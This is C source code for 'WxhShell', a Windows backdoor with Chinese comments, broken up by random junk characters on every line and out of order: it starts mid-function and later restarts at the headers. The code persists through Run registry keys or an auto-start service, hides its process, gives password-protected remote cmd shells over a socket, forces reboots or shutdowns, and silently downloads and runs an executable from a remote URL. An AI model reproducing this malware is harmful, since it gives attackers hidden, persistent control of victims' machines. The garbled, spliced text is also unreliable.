    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D3+<16[,  
    else { +}f}!h;  
    closesocket(wsh); h;OHpvk  
    ExitThread(0); :vFYqoCn  
    } {Bpu-R&T  
    break; >GDf* ox[  
    } vU#>3[aC  
  // 获取shell E6?0/"  
  case 's': { a{.-qp  
    CmdShell(wsh); )<5hga][~a  
    closesocket(wsh); 0/~{,  
    ExitThread(0); ;_/!F}d  
    break; WjvgDNk  
  } 6x16?x  
  // 退出 u*T#? W?  
  case 'x': { 8;3I:z&muQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h,MaF<~  
    CloseIt(wsh); &sJ6k/l  
    break; >ATccv  
    } OHH\sA  
  // 离开 1[e%E#h  
  case 'q': { e,*@+E\4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aL8Z|*  
    closesocket(wsh); K[q-[q#yc  
    WSACleanup(); z E\~Oa;  
    exit(1); tSTl#xy  
    break; 8`|Z9umW*  
        } / !hxW}>^  
  } NU 3s^ 8\(  
  } f!B\X*|  
[QwqP=-6  
  // 提示信息 V$ " ]f6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UrdSo"%  
} ERfSJ  
  } X9YbTN  
;jmT5XzL  
  return; #*"I?B/fd8  
} 8HWEObRY  
K/!>[d  
// shell模块句柄 2:1 kSR^Ky  
int CmdShell(SOCKET sock) A-u}&}l<  
{ 8?hj}}H  
STARTUPINFO si; YG#{/;^nm)  
ZeroMemory(&si,sizeof(si)); cM=_i{c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M1K[6V!   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =BeJ.8$@VC  
PROCESS_INFORMATION ProcessInfo; 6PLdzZ{  
char cmdline[]="cmd"; 6+SaO !lR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g:&PjKA  
  return 0; Gr~J-#a3~D  
} n?v$C:jLN  
}Gd^r  
// 自身启动模式 rxeOT# N}  
int StartFromService(void) uAV-wc  
{ b Kr73S9  
typedef struct 0E^S!A 7  
{ |_16IEJ  
  DWORD ExitStatus; dF+:9iiAm  
  DWORD PebBaseAddress; "iuNYM5 P  
  DWORD AffinityMask; HQc^ybX5  
  DWORD BasePriority; `OWwqLoeA  
  ULONG UniqueProcessId; )yS S2  
  ULONG InheritedFromUniqueProcessId; w(q\75  
}   PROCESS_BASIC_INFORMATION; X1&c?T1 %[  
cXt]55"  
PROCNTQSIP NtQueryInformationProcess; N{K[sXCW  
jjg[v""3|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "X-"uIc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jB\Knxm v  
:?\Je+iA  
  HANDLE             hProcess; (l)r.Vj  
  PROCESS_BASIC_INFORMATION pbi; Jwbb>mB!  
F7`[r9 $  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T{*!.+E  
  if(NULL == hInst ) return 0; W"5VqN6v  
S8;5|ya  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T{lK$j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O/fm/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); er2#h  
ifadnl26 s  
  if (!NtQueryInformationProcess) return 0; Gp1?drF6  
eMUt%zvb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x#'v}(v  
  if(!hProcess) return 0; 3Sn# M{wH  
Q'Y7PG9m~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wtp;se@#  
_[y<u})  
  CloseHandle(hProcess); {s?x NU  
d-B,)$zE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z:>ek>Op  
if(hProcess==NULL) return 0; j$r2=~1  
8/W2;>?wKc  
HMODULE hMod; [f`7+RHrd  
char procName[255]; ;_A?Zl}  
unsigned long cbNeeded; et@<MU@ `  
:Mq{ES%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Uq(fk9`6  
TL: 6Pe  
  CloseHandle(hProcess); R(GL{Dh}L  
+3r4GEa Z  
if(strstr(procName,"services")) return 1; // 以服务启动 +w(B9rH  
BB? 4>#D  
  return 0; // 注册表启动 Pq3|O Z  
} evz@c)8  
+{s -Fg  
// 主模块 a7TvX{<d  
int StartWxhshell(LPSTR lpCmdLine) XK/bE35%^!  
{ d08:lYQ  
  SOCKET wsl; jJe?pT]o  
BOOL val=TRUE; lT;uL~j  
  int port=0; Di &XDW/  
  struct sockaddr_in door; j2=|,AmC  
n?8xRaEf  
  if(wscfg.ws_autoins) Install(); 1oL3y;>iL  
h&:XO9dY  
port=atoi(lpCmdLine); ?GeMD /]  
{w<"jw&2  
if(port<=0) port=wscfg.ws_port; F;Bq[V)R  
S H6T\}X:  
  WSADATA data; i: VMC NH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VB}^&{t)!  
`4a9<bG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v}Kj+9h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dg@'5.ApPu  
  door.sin_family = AF_INET; Ypx"<CKP}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4.q^r]m*  
  door.sin_port = htons(port); *+j r? |  
noO#o+ Jg#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )^j62uv  
closesocket(wsl); >ui;B$=  
return 1; 4ms"mIt  
} o}y(T07n  
oGz5ZDa#  
  if(listen(wsl,2) == INVALID_SOCKET) { Pk&sY'  
closesocket(wsl); .hK:-q,  
return 1; |}wT/3>\  
} @8 lT*O2j  
  Wxhshell(wsl); yG,uD!N]|  
  WSACleanup(); F<Ig(Wl#az  
F_nXsKem  
return 0; y*#+:D]o*  
mIv}%hD  
} #:tC^7qk  
y`8jz,&.  
// 以NT服务方式启动 m tVoA8(6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h<bCm`qj  
{ j-7aJj%  
DWORD   status = 0; 8_T9[ ]7V8  
  DWORD   specificError = 0xfffffff; \n^;r|J7k  
> QG@P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pLtK:Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O-qpB;|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P5&8^YV`N  
  serviceStatus.dwWin32ExitCode     = 0; 7 /XfPF  
  serviceStatus.dwServiceSpecificExitCode = 0; _tpOVw4I  
  serviceStatus.dwCheckPoint       = 0; R^@   
  serviceStatus.dwWaitHint       = 0; ?$ M:4mX  
H}g p`YW:4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <AU0ir  
  if (hServiceStatusHandle==0) return; b8|<O:]Hp  
YhL^kM@c  
status = GetLastError(); /?u]Fj  
  if (status!=NO_ERROR) "0J;H#Y"#  
{ <l<6W-I   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &o'$uLF~Y  
    serviceStatus.dwCheckPoint       = 0; =kBN&v_(!  
    serviceStatus.dwWaitHint       = 0; W:O p\  
    serviceStatus.dwWin32ExitCode     = status; cueaOtD  
    serviceStatus.dwServiceSpecificExitCode = specificError; <yw56{w,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XCyrr 2^  
    return; zE i\#Zg$  
  } aq - |  
xpBQ(6Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q$'[&&_  
  serviceStatus.dwCheckPoint       = 0; u]& +TR  
  serviceStatus.dwWaitHint       = 0; )Kq@ m1>@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,91n  
} I6PReVIb  
'ji|'x T  
// 处理NT服务事件,比如:启动、停止 oObQN;A@6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xMFEeSzl>S  
{ sCE%./h]  
switch(fdwControl) )a<MW66  
{ {TaYkuWS  
case SERVICE_CONTROL_STOP: F[>Y8e<[  
  serviceStatus.dwWin32ExitCode = 0; >S]"-0tGD=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D+{& zo  
  serviceStatus.dwCheckPoint   = 0; ~#7uNH2  
  serviceStatus.dwWaitHint     = 0; H/ar: j  
  { \w)ddc!ZS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \f@obp  
  } `@8O|j  
  return; %]N|?9L"=  
case SERVICE_CONTROL_PAUSE: w|61dB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cm9#FA  
  break; 0U?(EJ  
case SERVICE_CONTROL_CONTINUE: 5RyxVC0<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /ACau<U]t  
  break; XHh*6Yt_ (  
case SERVICE_CONTROL_INTERROGATE: I!T=$Um  
  break; b"w@am>&  
}; e'.CIspN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C]Q}HI#G  
} P2)/!+`a  
3ej[  
// 标准应用程序主函数 W#\{[o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9V>C %I  
{ v1=N?8Hz1  
W=Mdh}u_I  
// 获取操作系统版本 bZpx61h|  
OsIsNt=GetOsVer(); 8L5O5F'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gObafIA  
{+V ]@sz  
  // 从命令行安装 3!`_Q%  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~U5Tn3'~  
8\p"V.o>  
  // 下载执行文件 !\cVe;<r  
if(wscfg.ws_downexe) { $.4N@=s,?c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ha7mXGN%  
  WinExec(wscfg.ws_filenam,SW_HIDE); X2'XbG 3  
} S" (Nf+ux  
v7,-Q*  
if(!OsIsNt) { I8k+Rk*  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~cV";cD5  
HideProc(); K$O2 Fq@y  
StartWxhshell(lpCmdLine); zF(abQ0  
} 3Pvz57z{  
else gZ8JfA_\R(  
  if(StartFromService()) . Ctd$  
  // 以服务方式启动 h=^UMat-  
  StartServiceCtrlDispatcher(DispatchTable); |-z"6F r-  
else ,\N4tG1\  
  // 普通方式启动 MHJRBn{}  
  StartWxhshell(lpCmdLine); O+]'*~a  
U65oh8x  
return 0; V!NRBXg  
} wLNk XC  
?} lqu7S  
L nyow}  
Vq'n$k}  
=========================================== h.kjJF  
U5p3b;  
W j`f^^\HJ  
c/V0AKkS 8  
Rln\  
N1"p ;czK  
" M>xT\  
@^GI :z  
#include <stdio.h> s\p 1EL(  
#include <string.h> a)I>Ns)  
#include <windows.h> pJuD+v  
#include <winsock2.h> [~c_Aa+6N  
#include <winsvc.h> v# e*RI2}  
#include <urlmon.h> ).-#  
1 hD(l6tG@  
#pragma comment (lib, "Ws2_32.lib") gw^W6v  
#pragma comment (lib, "urlmon.lib") q *kLi~ Oe  
9FPqd8(]*V  
#define MAX_USER   100 // 最大客户端连接数 2#N?WlYw<S  
#define BUF_SOCK   200 // sock buffer &MPlSIg  
#define KEY_BUFF   255 // 输入 buffer E<7$!P=z`  
9Ais)Wy%p  
#define REBOOT     0   // 重启 2sp4Mm  
#define SHUTDOWN   1   // 关机 -)xl?IB%  
(p] S  
#define DEF_PORT   5000 // 监听端口 rV} 5&N*c  
iJ @p:  
#define REG_LEN     16   // 注册表键长度 3*\hGt,ZP  
#define SVC_LEN     80   // NT服务名长度 aU_l"+5>vq  
CeM%?fr5  
// 从dll定义API 2/\I/QkTs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G ]uz$V6!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ta^$&$l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r! [Qpb-:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xzOn[.Fi  
:#cJZ\YH  
// wxhshell配置信息 ~+V$0Q;L  
struct WSCFG { + R~ !G  
  int ws_port;         // 监听端口 y=Z[_L!xr  
  char ws_passstr[REG_LEN]; // 口令 &WOm[]Q4  
  int ws_autoins;       // 安装标记, 1=yes 0=no +\?+cXSc  
  char ws_regname[REG_LEN]; // 注册表键名 RxNLn/?d@  
  char ws_svcname[REG_LEN]; // 服务名 YL78cWOs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &3 Ki  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <{@D^L6h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \U##b~Z,g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y#6LNI   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {?"X\5n0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XVb9)a  
L-9;"]d~|  
}; +ej5C:El_}  
z ?F`)}  
// default Wxhshell configuration ?@kz`BY  
struct WSCFG wscfg={DEF_PORT, IZ87Px>zL  
    "xuhuanlingzhe", wQ[!~>A  
    1, y]+[o1]-c  
    "Wxhshell", {fjBa,o #  
    "Wxhshell", G~ LQM  
            "WxhShell Service", @"wX#ot  
    "Wrsky Windows CmdShell Service", /a)^)  
    "Please Input Your Password: ", LROrhO  
  1, P1Eg%Y6  
  "http://www.wrsky.com/wxhshell.exe", {u -J?(s}  
  "Wxhshell.exe" 6']G HDK  
    }; #{#k;va  
Ro4!y:2|  
// 消息定义模块 e/#6qCE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1$`|$V1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L\5:od[EP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,Q.[Lc=w  
char *msg_ws_ext="\n\rExit."; TjI&8#AWBA  
char *msg_ws_end="\n\rQuit."; *'tGi_2?(  
char *msg_ws_boot="\n\rReboot..."; ZkO2*;  
char *msg_ws_poff="\n\rShutdown..."; ?M6)O?[  
char *msg_ws_down="\n\rSave to "; K\zb+  
} E[vW  
char *msg_ws_err="\n\rErr!";  dvz6  
char *msg_ws_ok="\n\rOK!"; 3\{\ al   
IO ]tO[P#  
char ExeFile[MAX_PATH]; Qwve-[  
int nUser = 0; j5A>aj  
HANDLE handles[MAX_USER]; (44L8)I.D  
int OsIsNt; XB B>"  
3Bvz& `\  
SERVICE_STATUS       serviceStatus; K9yZG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J<4_<.o(a  
ynZEJKo  
// 函数声明 &9z&#`AY]>  
int Install(void); eu~ u-}.  
int Uninstall(void); U<>@)0~7g!  
int DownloadFile(char *sURL, SOCKET wsh); ZS=;)  
int Boot(int flag); q&_\A0  
void HideProc(void); j>l  
int GetOsVer(void); a>9_#_hI  
int Wxhshell(SOCKET wsl); <:T/hm$  
void TalkWithClient(void *cs); [>\e@ =  
int CmdShell(SOCKET sock); y7+n*|H  
int StartFromService(void); [2>zaag  
int StartWxhshell(LPSTR lpCmdLine); !%DE(E*'(  
_n{_\/A6f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UEt78eN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -#R`n'/  
t0kZFU  
// 数据结构和表定义 Fy!s$!\C0  
SERVICE_TABLE_ENTRY DispatchTable[] = ^:mKTiA-  
{ %M/L/_d  
{wscfg.ws_svcname, NTServiceMain}, <|]i3_Z  
{NULL, NULL} U2tgBF?)A  
}; r`.Bj0  
j]` hy"  
// 自我安装 p GF;,h>  
int Install(void) }_}    
{ bj0<A  
  char svExeFile[MAX_PATH]; Ciz,1IV  
  HKEY key; 5w{U/v$Z  
  strcpy(svExeFile,ExeFile); (FZ8T39  
?<Hgq8J  
// 如果是win9x系统,修改注册表设为自启动 jC$~m#F  
if(!OsIsNt) { p@O,-&/D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z@?y(E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }NRt:JC  
  RegCloseKey(key); qs= i+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gg8)oc+w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y4aT-^C'  
  RegCloseKey(key); %e)vl[:}  
  return 0; Y,EF'Ot  
    } ;]=@;? 9  
  } JUXBMYFus  
} !0|&f>y  
else { L<XX?I\p  
[+#k+*1*o  
// 如果是NT以上系统,安装为系统服务 r'_#rl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z4` :n.  
if (schSCManager!=0) u$aN~6HG  
{ SG&H^V8  
  SC_HANDLE schService = CreateService f)gV2f0t  
  ( yx6^ mis4  
  schSCManager, AE`UnlUSF  
  wscfg.ws_svcname, n "^rS}Y]  
  wscfg.ws_svcdisp, 1vCp<D9<  
  SERVICE_ALL_ACCESS, 0(9gTxdB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xc^(e?L4  
  SERVICE_AUTO_START, m^0 I3;  
  SERVICE_ERROR_NORMAL, C8YStT  
  svExeFile, t6kLZ  
  NULL, TiZ MY:^  
  NULL, k`]76C7  
  NULL, Zy{hYHQ  
  NULL, _ouZd.  
  NULL 8wZ $Hq  
  ); w^n&S=E E~  
  if (schService!=0) =knLkbiq7,  
  { YcR: _ac  
  CloseServiceHandle(schService); &e#pL`N  
  CloseServiceHandle(schSCManager); $Fy~xMA8O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2`ERrh^i"  
  strcat(svExeFile,wscfg.ws_svcname); M9Yov4k,4]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  G;A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]W%rhppC  
  RegCloseKey(key); qoZAZ&|HI  
  return 0; S;2UcSsQl  
    } D+oV( Pw,  
  } s>WqVuXmn  
  CloseServiceHandle(schSCManager); =,i?8Fuz  
} Qy=tkCN  
} uH7rt  
1DL+=-  
return 1; cXN0D\%`  
} #BS!J&a  
l^o>7 cM  
// 自我卸载 R`@7f$;wG  
int Uninstall(void) a8%T*mk(  
{ mz;ExV16  
  HKEY key; ~ 7Nqwwx  
aO9\8\^  
if(!OsIsNt) { N[O_}_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9o6qN1A0g  
  RegDeleteValue(key,wscfg.ws_regname); rXip"uz(K>  
  RegCloseKey(key); S"87 <o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Iaqbt%2  
  RegDeleteValue(key,wscfg.ws_regname); d4Y[}Fcp+  
  RegCloseKey(key); IF//bgk-  
  return 0; -GQ.B{%G  
  } ^{++h?cS)  
} $U. 2"  
} F^TOLwix  
else { ,.gJ8p(0x  
/jq"r-S"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,5K&f\  
if (schSCManager!=0) =FFs8&PKys  
{ o$*DFvk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CPP9=CoR37  
  if (schService!=0) SL^%Zh/~  
  { [`KQ \4u  
  if(DeleteService(schService)!=0) { tEibxE  
  CloseServiceHandle(schService); G`;mSq6i  
  CloseServiceHandle(schSCManager); F%{z E ANm  
  return 0; p{SIGpbR&  
  } +l7Bu}_?  
  CloseServiceHandle(schService); #SD2b,f  
  } a{?>F&vnU  
  CloseServiceHandle(schSCManager); TFhYu  
} <!|=_W6  
} )_kEy>YscZ  
G~Y#l@8M+  
return 1; Xa&:Hg<  
} AJzm/,H  
lWf(!=0m  
// 从指定url下载文件 l?;ReK.r  
int DownloadFile(char *sURL, SOCKET wsh) f9n4/(C y  
{ )oS~ish  
  HRESULT hr; d{C8}U  
char seps[]= "/"; jar?"o  
char *token; mj9]M?]  
char *file; X<1ymb3  
char myURL[MAX_PATH]; \D[~54  
char myFILE[MAX_PATH]; L;KLmxy#  
9@*4^Ks p  
strcpy(myURL,sURL); -OfAl~ 4  
  token=strtok(myURL,seps); UB% ;P-RD  
  while(token!=NULL) \OK}DhY#  
  { PKs$Q=Ol<|  
    file=token; ({!*&DVu  
  token=strtok(NULL,seps); |txzIc.#  
  } '_g*I  
uuCVI2|  
GetCurrentDirectory(MAX_PATH,myFILE); ,l\D@<F  
strcat(myFILE, "\\"); M49Hm[0(  
strcat(myFILE, file); VC!g,LU|-  
  send(wsh,myFILE,strlen(myFILE),0); b1ZHfe:  
send(wsh,"...",3,0); 2Ju,P_<dt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6|%HCxWO  
  if(hr==S_OK) Ax!fvcsN  
return 0; O}7aX '  
else \l 3M\$oS>  
return 1; |e3YTLsI  
RWn#"~  
} MpJx>0j/J  
[@s5v  
// 系统电源模块 B_.>Q8tK;  
int Boot(int flag) / pR,l5  
{ 'FN3r  
  HANDLE hToken; '9|R7  
  TOKEN_PRIVILEGES tkp; ^}GR!990  
H329P*P  
  if(OsIsNt) { yhyh\.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )#Y:Bj7H@2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P~"""3de4  
    tkp.PrivilegeCount = 1; Fd9Z7C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7|?Ht]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6r,zOs-I]  
if(flag==REBOOT) { q.lh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m$q*  
  return 0; u #7AB>wi{  
} @{880 5Dp  
else { jbTyM"Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j!`2Z@  
  return 0; zU};|Zw  
} =iPQ\_ON@  
  } u\UI6/  
  else { jTY{MY Jh  
if(flag==REBOOT) { e?-LB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]PXpzruy  
  return 0; 8L(KdDY  
} Cd7d-'EQn  
else { W{;LI WsZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SCMZ-^b  
  return 0; `3F/7$q_  
} ;V1e>?3  
} %!)Dk<  
,u>K##X\  
return 1; -QP1Se*#  
} gH/k}M7tA#  
) $I"LyK)  
// win9x进程隐藏模块 ~bJ*LM?wOP  
void HideProc(void) gJBk&SDgtP  
{ R )e^H  
885 ,3AdA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 22m'+3I~Y  
  if ( hKernel != NULL ) 2E3x=  
  { G{oM2`c'#8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZbcpE~<a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cY*lsBo  
    FreeLibrary(hKernel); J7rfHhz  
  } cV)~%e/  
GD .>u  
return; 93#wU})  
} iD9hqiX&  
MMUw+jM4  
// 获取操作系统版本 #Y<b'7yJ  
int GetOsVer(void) b ~FmX  
{ aD3Q-a[  
  OSVERSIONINFO winfo; KHXnB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pG:)u cj  
  GetVersionEx(&winfo); u@zBE? g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -^7n+ QX  
  return 1; uc;QSVWGy8  
  else doaqHri\,  
  return 0; tt>=Vt '  
} h9J  
S b3@7^  
// 客户端句柄模块 uw@|Y{(K r  
int Wxhshell(SOCKET wsl) hC =="4 -  
{ !b+Kasss9  
  SOCKET wsh; ub] w"N  
  struct sockaddr_in client; b}r3x&)  
  DWORD myID; ~UJ_Rr54  
KcjP39@I  
  while(nUser<MAX_USER) I*K~GXWs#  
{ DavG=kvd  
  int nSize=sizeof(client); th*E"@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JEes'H}Y  
  if(wsh==INVALID_SOCKET) return 1; x_5H_! \#  
];go?.*C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XX(;,[(_  
if(handles[nUser]==0) ?Yp: h  
  closesocket(wsh); }mC-SC)oSi  
else C,D~2G  
  nUser++; Z5o6RTi  
  } #yVY! +A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); izi=`;=D^  
zKk2>.  
  return 0; g< {jgF  
} 5<ycF_  
u|D_"q~+6  
// 关闭 socket A3N<;OOk  
void CloseIt(SOCKET wsh) AHhck?M^  
{ 9_ GR\\  
closesocket(wsh); DP9hvu/85  
nUser--; YX_p3  
ExitThread(0); wy$9QN  
} lH^[b[  
Pw'3ya8  
// 客户端请求句柄 m.p{+_@M&  
void TalkWithClient(void *cs) 8+ 1t ys  
{ 7>J8\=  
#\$R^u]!  
  SOCKET wsh=(SOCKET)cs; Ui 7S8c#tH  
  char pwd[SVC_LEN]; u1&pJLK0[  
  char cmd[KEY_BUFF]; Ij}RlYQz  
char chr[1]; ~$i36"  
int i,j; ]W%<<S  
?c^0%Op  
  while (nUser < MAX_USER) { 2@aVoqrq#  
K/jC>4/c/  
if(wscfg.ws_passstr) { {@oYMO~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kGMI ?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6nRD:CH)X  
  //ZeroMemory(pwd,KEY_BUFF); i9oi}$;J  
      i=0; pVt8z|p_;{  
  while(i<SVC_LEN) { &la;Vu"dp  
>_]j{}~\k  
  // 设置超时 vd9><W  
  fd_set FdRead; *#,wV  
  struct timeval TimeOut; Nq)=E[$  
  FD_ZERO(&FdRead); n ||/3-HDj  
  FD_SET(wsh,&FdRead); _}7N,Cx   
  TimeOut.tv_sec=8; =x~HcsJ8!R  
  TimeOut.tv_usec=0; -lm\~VZT3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0p_/eWww-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nj~1y ')  
C_Y^<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^~2GhveBV  
  pwd=chr[0]; nmVL%66K  
  if(chr[0]==0xd || chr[0]==0xa) { { CkxUec  
  pwd=0; <w.W[ak  
  break; V 3-5:z  
  } @U(D&_H,K  
  i++; J]~LmSh  
    } R$=UJ}>  
w Maib3Q  
  // 如果是非法用户,关闭 socket fNc3&=]]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k9.2*+vvg  
} |jniI(  
Uax- z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8|`4D 'Ln  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qde.;Yv9  
]z,W1Zs?  
while(1) { &<-Sxjj  
<5A(rDij  
  ZeroMemory(cmd,KEY_BUFF); B8:_yAv o  
-U(T  
      // 自动支持客户端 telnet标准   < Vr"  
  j=0; |Gb"%5YD  
  while(j<KEY_BUFF) { x5k6yHn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :grJ}i-D  
  cmd[j]=chr[0]; Ex~[Hk4ow  
  if(chr[0]==0xa || chr[0]==0xd) { u~6`9'Ms  
  cmd[j]=0; '@9h@,tc  
  break; b}p0&%I  
  } }\B`tAN  
  j++; hV/$6 8A_  
    } 7^h?<X\  
VC\43A,9  
  // 下载文件 O/>$kG%ge  
  if(strstr(cmd,"http://")) { AS[cz! >  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1y l2i|m+  
  if(DownloadFile(cmd,wsh)) pIk&NI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UjwA06  
  else }| _uqvin  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o-B9r+N  
  } vAi kd#C)  
  else {  ;OQ{  
|0ahvsrtW  
    switch(cmd[0]) { l njaHol0  
  3HC aZ?Ry'  
  // 帮助 v&%GK5j7O  
